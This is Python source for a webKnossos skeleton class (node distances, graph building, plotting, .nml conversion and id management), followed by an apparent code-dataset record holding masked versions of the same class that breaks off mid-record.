computed unit (optional): Unit flag specifying in which unit the distances should be returned. Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer) Returns: distances: Array holding distances """ assert (node_id is not None) ^ ((tree_idx is not None) & (node_idx is not None)), \ 'Either provide node_id or both tree_idx and node_idx' if type(positions) is not np.ndarray: positions = np.array(positions) if node_id is not None: node_idx, tree_idx = self.node_id_to_idx(node_id) unit_factor = self._get_unit_factor(unit) distances = Skeleton.get_distance(positions, np.array(self.nodes[tree_idx].position.values[node_idx]), unit_factor) return distances def get_distance_to_nodes(self, position: Union[Tuple[int, int, int], np.ndarray], tree_idx: int, unit: str = 'um') -> List[np.ndarray]: """ Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position Args: position (1 x 3): Target (x,y,z) position to which the node distances should be computed tree_idx: Tree idx for which node distances should be computed unit (optional): Unit flag specifying in which unit the distances should be returned. Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer) Returns: distances: Array holding distances """ if type(position) is not np.ndarray: position = np.array(position) unit_factor = self._get_unit_factor(unit) distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].position.values), position, unit_factor) return distances def get_graph(self, tree_idx): """ Returns the networkx graph representation of a tree. Args: tree_idx: Linear index of the tree to be returned as graph object Returns: graph: Graph object """ nodes = self.nodes[tree_idx] edges = self.edges[tree_idx] graph = Skeleton._get_graph(nodes, edges) return graph def get_shortest_path(self, node_id_start: int, node_id_end: int) -> List[int]: """ Returns the shortest path between two nodes of a tree. Args: node_id_start: Node id of start node node_id_end: Node id of end node Returns: shortest_path: Node indices comprising the shortest path """ _, tree_idx_start = self.node_id_to_idx(node_id_start) _, tree_idx_end = self.node_id_to_idx(node_id_end) assert tree_idx_start == tree_idx_end, 'Provided node ids need to be part of the same tree' graph = self.get_graph(tree_idx_start) shortest_path = nx.shortest_path(graph, node_id_start, node_id_end) return shortest_path def plot(self, tree_inds: Union[int, List[int]] = None, view: str = None, colors: Union[Tuple[float, float, float, float], List[Tuple[float, float, float, float]], str] = None, unit: str = 'um', show: bool = True, ax: plt.axes = None): """ Generates a (3D) line plot of the trees contained in the skeleton object. Args: tree_inds (optional): Tree indices to be plotted. Default: All trees are plotted view (optional): Plot as 2D projection on orthonormal plane. Options: 'xy', 'xz', 'yz' Default: Plot as 3D projection colors (optional): Colors in which trees should be plotted. If only one RGBA tuple is specified, it is broadcasted over all trees. Alternatively, a list providing RGBA tuples for each tree can be passed. Lastly, the name of a mnatplotlib colormap (https://matplotlib.org/tutorials/colors/colormaps.html) can be passed as a str. Default: Skeleton colors (self.colors) are used unit (optional): Specifies in which unit the plot should be generated. Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer) show (optional): Displays the plot in an interactive window. For repeatedly plotting on the same axes, set to False. Default: True ax: Axes to be plotted on. Returns: ax: Axes which was plotted on """ if tree_inds is None: tree_inds = list(range(len(self.nodes))) elif tree_inds is int: tree_inds = [tree_inds] if colors is None: colors = self.colors elif type(colors) is str: cmap = cm.get_cmap(colors) colors = [cmap(x) for x in np.linspace(0, 1, self.num_trees())] elif type(colors[0]) is not Sequence: colors = [colors] * self.num_trees() unit_factor = self._get_unit_factor(unit) allowed_views = ['xy', 'xz', 'yz'] if view is not None: assert (view in allowed_views), \ 'The passed view argument: {} is not among the allowed views: {}'.format(view, allowed_views) if ax is None: fig = plt.figure() if view is None: ax = fig.add_subplot(111, projection='3d') else: ax = fig.add_subplot(111, projection='rectilinear') else: if view is None: assert (ax.name == '3d'), \ 'To generate a 3D skeleton plot, the projection type of the passed axes must be 3D' else: assert (ax.name != '3d'), \ 'To generate a 2D skeleton plot, the projection type of the passed axes must be rectilinear' lims_min = [] lims_max = [] for tree_idx in tree_inds: edges = self.edges[tree_idx].copy() nodes = self.nodes[tree_idx].copy() if len(nodes) > 0: nodes['position'] = nodes['position'].multiply(unit_factor) if view == 'xy': nodes = nodes.drop([('position', 'z')], axis=1) elif view == 'xz': nodes = nodes.drop([('position', 'y')], axis=1) elif view == 'yz': nodes = nodes.drop([('position', 'x')], axis=1) lims_min.append(np.min(nodes['position'].values, axis=0)) lims_max.append(np.max(nodes['position'].values, axis=0)) segments = [] for edge in edges: n0 = nodes['position'][nodes.id == edge[0]].values[0] n1 = nodes['position'][nodes.id == edge[1]].values[0] segment = [[c for c in n0], [c for c in n1]] segments.append(segment) if view is None: line_collection = art3d.Line3DCollection(segments=segments, colors=colors[tree_idx]) ax.add_collection3d(line_collection) else: line_collection = LineCollection(segments=segments, colors=colors[tree_idx]) ax.add_collection(line_collection) lim_min = np.min(np.array(lims_min), axis=0) lim_max = np.max(np.array(lims_max), axis=0) ax.set_xlim(lim_min[0], lim_max[0]) ax.set_ylim(lim_min[1], lim_max[1]) if view is None: ax.set_zlim(lim_min[2], lim_max[2]) else: ax.set_aspect('equal') if show: plt.show() return ax def write_nml(self, nml_write_path): """ Writes the present state of the skeleton object to a .nml file. Args: nml_write_path: Path to which .nml file should be written """ # If the object does not have any trees, construct an empty tree before writing to enable webKnossos import if self.num_trees() == 0: self.add_tree() nml = self._skeleton_to_nml() with open(nml_write_path, "wb") as f: wknml.write_nml(f, nml) # Convenience Methods def node_id_to_idx(self, node_id: int) -> (int, int): """ Returns the linear tree and node indices for the provided node id.""" node_idx = None for tree_idx, nodes in enumerate(self.nodes): index_list = nodes[nodes['id'] == node_id].index.tolist() if index_list: node_idx = index_list[0] break assert (node_idx is not None), \ 'node id {} does not exist'.format(node_id) return node_idx, tree_idx def node_idx_to_id(self, node_idx: int, tree_idx: int) -> int: """ Returns the node id for the provided tree and node idx.""" node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0] return node_id def min_group_id(self) -> int: """ Returns lowest group id. If no groups are defined, return None""" group_ids = np.asarray(self.group_ids, dtype=np.float) if np.all(np.isnan(group_ids)): group_id = None else: group_id = int(np.nanmin(group_ids)) return group_id def max_group_id(self) -> int: """ Returns highest group id. If no groups are defined, return None""" group_ids = np.asarray(self.group_ids, dtype=np.float) if np.all(np.isnan(group_ids)): group_id = None else: group_id = int(np.nanmax(group_ids)) return group_id def min_node_id(self) -> int: """ Returns lowest global node id.""" if len(self.nodes) > 0: min_node_id = min([min(nodes.id) if len(nodes) > 0 else 0 for nodes in self.nodes]) else: min_node_id = 0 return min_node_id def max_node_id(self) -> int: """ Returns highest global node id.""" if len(self.nodes) > 0: max_node_id = max([max(nodes.id) if len(nodes) > 0 else 0 for nodes in self.nodes]) else: max_node_id = 0 return max_node_id def min_tree_id(self) -> int: """ Returns lowest global tree id.""" return min(self.tree_ids) if len(self.tree_ids)>0 else 0 def max_tree_id(self) -> int: """ Returns highest global tree id.""" return max(self.tree_ids) if len(self.tree_ids)>0 else 0 def num_trees(self) -> int: """Returns number of trees contained in skeleton object.""" return len(self.nodes) def groups_ids(self) -> List[int]: """ Returns all ids defined in groups tree""" _, groups_ids = Skeleton._group_get_ids(self.groups) return groups_ids # Private Methods def _get_unit_factor(self, unit: str) -> np.ndarray: """ Returns factor for unit conversion Args: unit: Unit for which to return the conversion factor. Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer) Returns: unit_factor (shape=(3,)): Unit conversion factors """ unit_factors = { 'vx': np.array((1, 1, 1)), 'nm': np.array(self.parameters.scale), 'um': np.array(self.parameters.scale)/1000 } assert unit in unit_factors.keys(), 'Invalid unit' unit_factor = unit_factors[unit] return unit_factor def _reset_node_ids(self, start_id: int): """ Resets node ids of skeleton to begin with start value. Args: start_id: Start value to which the lowest node id should be set. """ add_id = start_id - self.min_node_id() for tree_idx, _ in enumerate(self.nodes): self.nodes[tree_idx].nodes['id'] += add_id self.edges[tree_idx] += add_id def _reset_tree_ids(self, start_id: int): """ Resets tree ids of skeleton to begin with start value. Args: start_id: Start value to which the lowest tree id should be set. """ add_id = start_id - self.min_tree_id() self.tree_ids = [tree_id + add_id for tree_id in self.tree_ids] def _reset_group_ids(self, start_id: int): """ Resets group ids of skeleton to begin with start value. Args: start_id: Start value to which the lowest group id should be set. """ min_group_id = self.min_group_id() if min_group_id is not None: add_id = start_id - min_group_id self.group_ids = [i + add_id if i is not None else i for i in self.group_ids] self.groups = [Skeleton._group_modify_id(group, id_modifier=lambda x: x + add_id) for group in self.groups] def _parameters_to_skeleton(self, parameters): """ Generates bare skeleton object from parameters.""" self.parameters = parameters def _nml_to_skeleton(self, nml): """ Converts wknml to skeleton data structures.""" self.groups = nml.groups self.branchpoints = nml.branchpoints self.parameters = Parameters(**nml.parameters._asdict()) for tree in nml.trees: self.add_tree( nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree.nodes, nml_comments=nml.comments), edges=np.array([(edge.source, edge.target) for edge in tree.edges]), group_id=tree.groupId, name=tree.name, color=tree.color ) def _skeleton_to_nml(self): """ Converts skeleton to wknml data structures.""" trees = [] for tree_idx, tree_id in enumerate(self.tree_ids): nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx]) nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx]) tree = wknml.Tree( id=tree_id, color=self.colors[tree_idx], name=self.names[tree_idx], groupId=self.group_ids[tree_idx], nodes=nml_nodes, edges=nml_edges ) trees.append(tree) nml = wknml.NML( parameters=wknml.NMLParameters(**self.parameters._asdict()), trees=trees, branchpoints=self.branchpoints, comments=self._skeleton_to_nml_comments(), groups=self.groups ) return nml def _skeleton_to_nml_comments(self): """ Converts skeleton to wknml comments.""" nml_comments = [] for nodes in self.nodes: comment_nodes = nodes[nodes['comment'].notnull()] for _, row in comment_nodes.iterrows(): nml_comment = wknml.Comment( node=row['id'].values[0], content=row['comment'].values[0] ) nml_comments.append(nml_comment) return nml_comments # Static Methods @staticmethod def define_parameters( name: str, scale: Tuple[float, float, float], offset: Tuple[float, float, float] = (0, 0, 0), time: int = 0, editPosition: Tuple[float, float, float] = (1.0, 1.0, 1.0), editRotation: Tuple[float, float, float] = (0.0, 0.0, 0.0), zoomLevel: float = 1.0, taskBoundingBox: Tuple[int, int, int, int, int, int] = None, userBoundingBox: Tuple[int, int, int, int, int, int] = None) -> Parameters: parameters = Parameters( name=name, scale=scale, offset=offset, time=time, editPosition=editPosition, editRotation=editRotation, zoomLevel=zoomLevel, taskBoundingBox=taskBoundingBox, userBoundingBox=userBoundingBox ) return parameters # Static Methods @staticmethod def get_distance(positions: np.ndarray, position: np.ndarray, unit_factor: np.ndarray = None): """ Get the (euclidean) distances between positions and a target position Args: positions (N x 3): Array holding (multiple) x, y, z positions position (1 x 3): Array holding x, y, z position to which the distances should be computed unit_factors (1 x 3 Array, optional): Conversion factors with which distances are multiplied. Default (1,1,1) Returns: distances: Arrays holding distances """ if unit_factor is None: unit_factor = np.array([1, 1, 1]) distances = np.sqrt(np.sum(((positions - position) * unit_factor.reshape(1, 3)) ** 2, axis=1)) return distances # Static Private Methods @staticmethod def _nml_nodes_to_nodes(nml_nodes, nml_comments): """ Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).""" data = [(node.id, node.position[0], node.position[1], node.position[2], node.radius, node.rotation[0], node.rotation[1], node.rotation[2], node.inVp, node.inMag, node.bitDepth, node.interpolation, node.time, np.nan) for node in nml_nodes] nodes = Nodes(data=data) # Add comments to nodes table comment_node_ids = [comment.node for comment in nml_comments] comment_strings = [comment.content for comment in nml_comments] nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)] for id in nodes_ids_comments: id_comment = comment_strings[comment_node_ids.index(id)] nodes.loc[nodes.id == id, ('comment', '')] = id_comment return nodes @staticmethod def _nodes_to_nml_nodes(nodes): """ Converts skeleton nodes (DataFrame subclass) to wknml nodes (list of named tuples).""" nml_nodes = [] for idx, row in nodes.iterrows(): nml_node = wknml.Node( id=int(row.id), position=tuple(row.position.values), radius=float(row.radius), rotation=tuple(row.rotation.values), inVp=int(row.inVp), inMag=int(row.inMag), bitDepth=int(row.bitDepth), interpolation=bool(row.interpolation.values), time=int(row.time) ) nml_nodes.append(nml_node) return nml_nodes @staticmethod def _edges_to_nml_edges(edges): """ Converts skeleton edges (numpy array) to wknml edges (list of named tuples).""" nml_edges = [] for idx in range(edges.shape[0]): nml_edge = wknml.Edge( source=int(edges[idx, 0]), target=int(edges[idx, 1]), ) nml_edges.append(nml_edge) return nml_edges @staticmethod def _group_append(groups, id, new_group): """ Appends new group as a child of existing group with specified id. Currently only works up to depth=3.""" path_inds = [] _, _, idx = Skeleton._group_parent(groups, id) while id is not None: path_inds.append(idx) id, idx, _ = Skeleton._group_parent(groups, id) path_inds = list(reversed(path_inds)) if len(path_inds) == 1: groups[path_inds[0]]._replace(children=new_group) elif len(path_inds) == 2: groups[path_inds[0]].children[path_inds[1]]._replace(children=new_group) elif len(path_inds) == 3: groups[path_inds[0]].children[path_inds[1]].children[path_inds[2]]._replace(children=new_group) return groups @staticmethod def _group_parent(groups, id, parent_id=None, parent_idx=None, child_idx=None): """ Returns the id of the parent group for a (child) group with specified id.""" for group in groups: if id in [x.id for x in group.children]: parent_id = group.id parent_idx = groups.index(group) child_idx = [x.id for x in group.children].index(id) else: parent_id, parent_idx, child_idx = Skeleton._group_parent(group.children, id, parent_id, parent_idx, child_idx) return parent_id, parent_idx, child_idx @staticmethod def _group_modify_id(group, id_modifier): """ Modifies group ids with the passed id_modifier (e.g. lambda) function.""" group = group._replace(id=id_modifier(group.id)) group = group._replace(children=list(map(lambda g: Skeleton._group_modify_id(g, id_modifier), group.children))) return group @staticmethod def _group_get_ids(groups, ids = []): for group in groups: ids.append(group.id) Skeleton._group_get_ids(group.children, ids) return groups, ids @staticmethod def _get_graph(nodes: Nodes, edges: np.ndarray): """ Returns the networkx graph representation of provided nodes and edges.""" graph = nx.Graph() graph.add_nodes_from(nodes['id']) attrs = nodes.set_index('id').to_dict('index') nx.set_node_attributes(graph, attrs) graph.add_edges_from(edges) return graph @staticmethod def _num_conn_comp(graph): """ Returns number of connected components for graph""" return nx.number_connected_components(graph)
normal
{ "blob_id": "365d031a31f3596df6fb71e620c293382d6ead1f", "index": 2635, "step-1": "<mask token>\n\n\nclass Skeleton:\n <mask token>\n <mask token>\n\n def __init__(self, nml_path: str=None, parameters: Parameters=None,\n strict=True):\n \"\"\" The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments\n\n Args:\n nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the\n trees and additional properties specified in the .nml file\n parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties\n of the skeleton.\n strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with\n webKnossos. Default: True\n\n Examples:\n Using nml_path:\n nml_path = '/path/to/example.nml'\n skel = Skeleton(nml_path)\n\n Using parameters:\n parameters = Skeleton.define_parameters(name=\"2017-01-12_FD0156-2\", scale=(11.24, 11.24, 32))\n skel = Skeleton(parameters=parameters)\n \"\"\"\n assert (nml_path is not None) ^ (parameters is not None\n ), 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed'\n self.nodes = list()\n self.edges = list()\n self.names = list()\n self.colors = list()\n self.tree_ids = list()\n self.group_ids = list()\n self.groups = list()\n self.branchpoints = list()\n self.parameters = Parameters()\n self.nml_path = str()\n self.strict = strict\n self.defaults = self.DEFAULTS\n if nml_path is not None:\n assert os.path.exists(nml_path), 'not a valid path: {}'.format(\n nml_path)\n try:\n with open(nml_path, 'rb') as f:\n nml = wknml.parse_nml(f)\n except IOError:\n print('not a valid nml file: {}'.format(nml_path))\n self._nml_to_skeleton(nml)\n else:\n assert type(parameters\n ) is Parameters, 'provided parameters must be of type wkskel.types.Parameters'\n self._parameters_to_skeleton(parameters)\n <mask token>\n <mask token>\n\n def add_trees_from_skel(self, skel: 'Skeleton'):\n \"\"\" Appends all trees contained in a different skeleton object to the skeleton.\n\n This method attempts to preserve the relative group structure found in the skeleton object to be added\n\n Args:\n skel: Source skeleton object (different from the one calling this method) to be added\n \"\"\"\n skel._reset_node_ids(self.max_node_id() + 1)\n skel._reset_tree_ids(self.max_tree_id() + 1)\n max_group_id = self.max_group_id()\n if max_group_id is not None:\n skel._reset_group_ids(max_group_id + 1)\n self.nodes = self.nodes + skel.nodes\n self.edges = self.edges + skel.edges\n self.tree_ids = self.tree_ids + skel.tree_ids\n self.group_ids = self.group_ids + skel.group_ids\n self.groups = self.groups + skel.groups\n self.names = self.names + skel.names\n self.colors = self.colors + skel.colors\n return self\n\n def add_nodes_as_trees(self, nodes: Nodes, tree_ids: List[int]=None,\n group_ids: List[int]=None, names: List[str]=None, colors: List[\n Tuple[float, float, float, float]]=None):\n \"\"\" Appends each of the specified nodes as separate trees to the skeleton (1 node each).\n\n Args:\n nodes: Nodes representing the trees to be added\n tree_ids (optional): Tree ids to be assigned to the newly added trees. Default: Global max + [1, n]\n group_ids (optional): Group ids to be assigned to the newly added trees. Default: None\n names (optional): Names to be assigned to the newly added trees.\n colors (optional): Colors to be used for the new trees specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if tree_ids is None:\n tree_id_start = self.max_tree_id() + 1\n tree_id_end = tree_id_start + len(nodes)\n tree_ids = list(range(tree_id_start, tree_id_end))\n if group_ids is None:\n group_ids = [None for x in range(len(nodes))]\n if names is None:\n names = ['' for x in range(len(nodes))]\n if colors is None:\n colors = [(0.0, 0.0, 0.0, 1.0) for x in range(len(nodes))]\n for node_idx, _ in nodes.iterrows():\n self.add_tree(nodes=nodes[node_idx:node_idx + 1], tree_id=\n tree_ids[node_idx], group_id=group_ids[node_idx], name=\n names[node_idx], color=colors[node_idx])\n <mask token>\n\n def add_group(self, parent_id: int=None, id: int=None, name: str=None):\n \"\"\" Adds a new group to skeleton object.\n\n Args:\n parent_id: Parent group id to which new group is added as a child. Default: None (root group)\n id: Id of new group to be added. Default: Current max group id + 1\n name: Name of new group to be added. Default: 'Group {}'.format(id)\n\n Returns:\n id: Id of added group\n name: Name of added group\n\n \"\"\"\n if parent_id is not None:\n assert parent_id in self.group_ids, 'Parent id does not exist'\n if id is None:\n id = int(np.nanmax(np.asarray(self.group_ids, dtype=np.float)) + 1)\n else:\n assert id not in self.groups_ids(), 'Id already exists'\n if name is None:\n name = 'Group {}'.format(id)\n new_group = wknml.Group(id, name, [])\n if parent_id is None:\n self.groups.append(new_group)\n else:\n self.groups = Skeleton._group_append(self.groups, parent_id,\n new_group)\n return id, name\n\n def delete_group(self, id, target_id):\n pass\n\n def define_nodes(self, position_x: List[int], position_y: List[int],\n position_z: List[int], id: List[int]=None, radius: Optional[List[\n int]]=None, rotation_x: Optional[List[float]]=None, rotation_y:\n Optional[List[float]]=None, rotation_z: Optional[List[float]]=None,\n inVP: Optional[List[int]]=None, inMag: Optional[List[int]]=None,\n bitDepth: Optional[List[int]]=None, interpolation: Optional[List[\n bool]]=None, time: Optional[List[int]]=None, comment: Optional[List\n [int]]=None) ->Nodes:\n \"\"\" Generates new nodes table from data.\n\n Args:\n position_x: Node position x\n position_y: Node position y\n position_z: Node position z\n id (optional): (Globally unique) Node id. Default: New unique ids are generated\n radius (optional): Node radius\n rotation_x (optional): Node rotation x\n rotation_y (optional): Node rotation y\n rotation_z (optional): Node rotation z\n inVP (optional): Viewport index in which node was placed\n inMag (optional): (De-)Magnification factor in which node was placed\n bitDepth (optional): Bit (Color) Depth in which node was placed\n interpolation (optional): Interpolation state in which node was placed\n time (optional): Time stamp at which node was placed\n comment (optional): Comment associated with node\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n if id is None:\n id_max = self.max_node_id()\n id = list(range(id_max + 1, id_max + len(position_x) + 1))\n nodes = Nodes.from_list(id, position_x, position_y, position_z,\n radius, rotation_x, rotation_y, rotation_z, inVP, inMag,\n bitDepth, interpolation, time, comment)\n return nodes\n\n def define_nodes_from_positions(self, positions: np.ndarray) ->Nodes:\n \"\"\" Generates new nodes table from positions only (node ids are generated automatically).\n\n Args:\n positions (N x 3): Numpy array holding the (x,y,z) positions to be returned as nodes in a Nodes table\n\n Returns:\n nodes: Nodes object\n\n \"\"\"\n id_max = self.max_node_id()\n id = np.array(range(id_max + 1, id_max + positions.shape[0] + 1)\n ).reshape(-1, 1)\n nodes = Nodes.from_numpy(np.append(id, positions, axis=1))\n return nodes\n <mask token>\n\n def get_distance_to_nodes(self, position: Union[Tuple[int, int, int],\n np.ndarray], tree_idx: int, unit: str='um') ->List[np.ndarray]:\n \"\"\" Get the (euclidean) distances from the nodes of the specified tree to the provided (x,y,z) position\n\n Args:\n position (1 x 3): Target (x,y,z) position to which the node distances should be computed\n tree_idx: Tree idx for which node distances should be computed\n unit (optional): Unit flag specifying in which unit the distances should be returned.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer). Default: 'um' (micrometer)\n\n Returns:\n distances: Array holding distances\n\n \"\"\"\n if type(position) is not np.ndarray:\n position = np.array(position)\n unit_factor = self._get_unit_factor(unit)\n distances = Skeleton.get_distance(np.array(self.nodes[tree_idx].\n position.values), position, unit_factor)\n return distances\n\n def get_graph(self, tree_idx):\n \"\"\" Returns the networkx graph representation of a tree.\n\n Args:\n tree_idx: Linear index of the tree to be returned as graph object\n\n Returns:\n graph: Graph object\n\n \"\"\"\n nodes = self.nodes[tree_idx]\n edges = self.edges[tree_idx]\n graph = Skeleton._get_graph(nodes, edges)\n return graph\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def node_idx_to_id(self, node_idx: int, tree_idx: int) ->int:\n \"\"\" Returns the node id for the provided tree and node idx.\"\"\"\n node_id = self.nodes[tree_idx].loc[node_idx, 'id'].values[0]\n return node_id\n <mask token>\n\n def max_group_id(self) ->int:\n \"\"\" Returns highest group id. If no groups are defined, return None\"\"\"\n group_ids = np.asarray(self.group_ids, dtype=np.float)\n if np.all(np.isnan(group_ids)):\n group_id = None\n else:\n group_id = int(np.nanmax(group_ids))\n return group_id\n\n def min_node_id(self) ->int:\n \"\"\" Returns lowest global node id.\"\"\"\n if len(self.nodes) > 0:\n min_node_id = min([(min(nodes.id) if len(nodes) > 0 else 0) for\n nodes in self.nodes])\n else:\n min_node_id = 0\n return min_node_id\n <mask token>\n\n def min_tree_id(self) ->int:\n \"\"\" Returns lowest global tree id.\"\"\"\n return min(self.tree_ids) if len(self.tree_ids) > 0 else 0\n <mask token>\n\n def num_trees(self) ->int:\n \"\"\"Returns number of trees contained in skeleton object.\"\"\"\n return len(self.nodes)\n <mask token>\n\n def _get_unit_factor(self, unit: str) ->np.ndarray:\n \"\"\" Returns factor for unit conversion\n\n Args:\n unit: Unit for which to return the conversion factor.\n Options: 'vx' (voxels), 'nm' (nanometer), 'um' (micrometer)\n\n Returns:\n unit_factor (shape=(3,)): Unit conversion factors\n \"\"\"\n unit_factors = {'vx': np.array((1, 1, 1)), 'nm': np.array(self.\n parameters.scale), 'um': np.array(self.parameters.scale) / 1000}\n assert unit in unit_factors.keys(), 'Invalid unit'\n unit_factor = unit_factors[unit]\n return unit_factor\n <mask token>\n\n def _reset_tree_ids(self, start_id: int):\n \"\"\" Resets tree ids of skeleton to begin with start value.\n\n Args:\n start_id: Start value to which the lowest tree id should be set.\n \"\"\"\n add_id = start_id - self.min_tree_id()\n self.tree_ids = [(tree_id + add_id) for tree_id in self.tree_ids]\n <mask token>\n <mask token>\n\n def _nml_to_skeleton(self, nml):\n \"\"\" Converts wknml to skeleton data structures.\"\"\"\n self.groups = nml.groups\n self.branchpoints = nml.branchpoints\n self.parameters = Parameters(**nml.parameters._asdict())\n for tree in nml.trees:\n self.add_tree(nodes=Skeleton._nml_nodes_to_nodes(nml_nodes=tree\n .nodes, nml_comments=nml.comments), edges=np.array([(edge.\n source, edge.target) for edge in tree.edges]), group_id=\n tree.groupId, name=tree.name, color=tree.color)\n\n def _skeleton_to_nml(self):\n \"\"\" Converts skeleton to wknml data structures.\"\"\"\n trees = []\n for tree_idx, tree_id in enumerate(self.tree_ids):\n nml_nodes = Skeleton._nodes_to_nml_nodes(self.nodes[tree_idx])\n nml_edges = Skeleton._edges_to_nml_edges(self.edges[tree_idx])\n tree = wknml.Tree(id=tree_id, color=self.colors[tree_idx], name\n =self.names[tree_idx], groupId=self.group_ids[tree_idx],\n nodes=nml_nodes, edges=nml_edges)\n trees.append(tree)\n nml = wknml.NML(parameters=wknml.NMLParameters(**self.parameters.\n _asdict()), trees=trees, branchpoints=self.branchpoints,\n comments=self._skeleton_to_nml_comments(), groups=self.groups)\n return nml\n\n def _skeleton_to_nml_comments(self):\n \"\"\" Converts skeleton to wknml comments.\"\"\"\n nml_comments = []\n for nodes in self.nodes:\n comment_nodes = nodes[nodes['comment'].notnull()]\n for _, row in comment_nodes.iterrows():\n nml_comment = wknml.Comment(node=row['id'].values[0],\n content=row['comment'].values[0])\n nml_comments.append(nml_comment)\n return nml_comments\n\n @staticmethod\n def define_parameters(name: str, scale: Tuple[float, float, float],\n offset: Tuple[float, float, float]=(0, 0, 0), time: int=0,\n editPosition: Tuple[float, float, float]=(1.0, 1.0, 1.0),\n editRotation: Tuple[float, float, float]=(0.0, 0.0, 0.0), zoomLevel:\n float=1.0, taskBoundingBox: Tuple[int, int, int, int, int, int]=\n None, userBoundingBox: Tuple[int, int, int, int, int, int]=None\n ) ->Parameters:\n parameters = Parameters(name=name, scale=scale, offset=offset, time\n =time, editPosition=editPosition, editRotation=editRotation,\n zoomLevel=zoomLevel, taskBoundingBox=taskBoundingBox,\n userBoundingBox=userBoundingBox)\n return parameters\n <mask token>\n\n @staticmethod\n def _nml_nodes_to_nodes(nml_nodes, nml_comments):\n \"\"\" Converts wknml nodes (list of named tuples) to skeleton nodes (DataFrame subclass).\"\"\"\n data = [(node.id, node.position[0], node.position[1], node.position\n [2], node.radius, node.rotation[0], node.rotation[1], node.\n rotation[2], node.inVp, node.inMag, node.bitDepth, node.\n interpolation, node.time, np.nan) for node in nml_nodes]\n nodes = Nodes(data=data)\n comment_node_ids = [comment.node for comment in nml_comments]\n comment_strings = [comment.content for comment in nml_comments]\n nodes_ids_comments = nodes.id[nodes.id.isin(comment_node_ids)]\n for id in nodes_ids_comments:\n id_comment = comment_strings[comment_node_ids.index(id)]\n nodes.loc[nodes.id == id, ('comment', '')] = id_comment\n return nodes\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def _group_modify_id(group, id_modifier):\n \"\"\" Modifies group ids with the passed id_modifier (e.g. lambda) function.\"\"\"\n group = group._replace(id=id_modifier(group.id))\n group = group._replace(children=list(map(lambda g: Skeleton.\n _group_modify_id(g, id_modifier), group.children)))\n return group\n\n @staticmethod\n def _group_get_ids(groups, ids=[]):\n for group in groups:\n ids.append(group.id)\n Skeleton._group_get_ids(group.children, ids)\n return groups, ids\n\n @staticmethod\n def _get_graph(nodes: Nodes, edges: np.ndarray):\n \"\"\" Returns the networkx graph representation of provided nodes and edges.\"\"\"\n graph = nx.Graph()\n graph.add_nodes_from(nodes['id'])\n attrs = nodes.set_index('id').to_dict('index')\n nx.set_node_attributes(graph, attrs)\n graph.add_edges_from(edges)\n return graph\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Skeleton:\n <mask token>\n <mask token>\n\n def __init__(self, nml_path: str=None, parameters: Parameters=None,\n strict=True):\n \"\"\" The Skeleton constructor expects either a path to a nml file or a Parameters object as input arguments\n\n Args:\n nml_path: Path to nml file. If constructed via an nml file, the skeleton object is populated with all the\n trees and additional properties specified in the .nml file\n parameters (optional): Parameters (wkskel.types.Parameters) specifying the most rudimentary properties\n of the skeleton.\n strict (optional): Controls assertions ensuring that resulting skeleton objects are compatible with\n webKnossos. Default: True\n\n Examples:\n Using nml_path:\n nml_path = '/path/to/example.nml'\n skel = Skeleton(nml_path)\n\n Using parameters:\n parameters = Skeleton.define_parameters(name=\"2017-01-12_FD0156-2\", scale=(11.24, 11.24, 32))\n skel = Skeleton(parameters=parameters)\n \"\"\"\n assert (nml_path is not None) ^ (parameters is not None\n ), 'To construct a skeleton object, either a path to a nml file or the skeleton parameters need to passed'\n self.nodes = list()\n self.edges = list()\n self.names = list()\n self.colors = list()\n self.tree_ids = list()\n self.group_ids = list()\n self.groups = list()\n self.branchpoints = list()\n self.parameters = Parameters()\n self.nml_path = str()\n self.strict = strict\n self.defaults = self.DEFAULTS\n if nml_path is not None:\n assert os.path.exists(nml_path), 'not a valid path: {}'.format(\n nml_path)\n try:\n with open(nml_path, 'rb') as f:\n nml = wknml.parse_nml(f)\n except IOError:\n print('not a valid nml file: {}'.format(nml_path))\n self._nml_to_skeleton(nml)\n else:\n assert type(parameters\n ) is Parameters, 'provided parameters must be of type wkskel.types.Parameters'\n self._parameters_to_skeleton(parameters)\n\n def add_tree(self, nodes: Nodes=Nodes(), edges: Union[List[Tuple[int,\n int]], np.ndarray]=None, tree_id: int=None, name: str='', group_id:\n int=None, color: Tuple[float, float, float, float]=None):\n \"\"\" Appends new tree to skeleton.\n\n Args:\n nodes (optional): Nodes representing tree to be added\n edges (optional): Edges representing tree to be added\n tree_id (optional): Tree id to be used for new tree. Default: Highest current tree id + 1\n name (optional): Name to be used for new tree. Default: Empty str\n group_id (optional): Group id to be used for new tree. If passed group id does not exist, it is created.\n Default: None\n color (optional): Color to be used for new tree specified as (r, g, b, alpha). Default: (0, 0, 0, 1)\n \"\"\"\n if edges is None:\n edges = np.empty((0, 2), dtype=np.uint32)\n elif type(edges) is list:\n edges = np.asarray(edges)\n if self.strict & (len(nodes) > 1):\n assert Skeleton._num_conn_comp(Skeleton._get_graph(nodes, edges)\n ) == 1, 'Added tree consists of more than one connected component'\n if tree_id is None:\n tree_id = self.max_tree_id() + 1\n if (group_id is not None) & (group_id not in self.groups_ids()):\n self.add_group(id=group_id)\n if color is None:\n color = 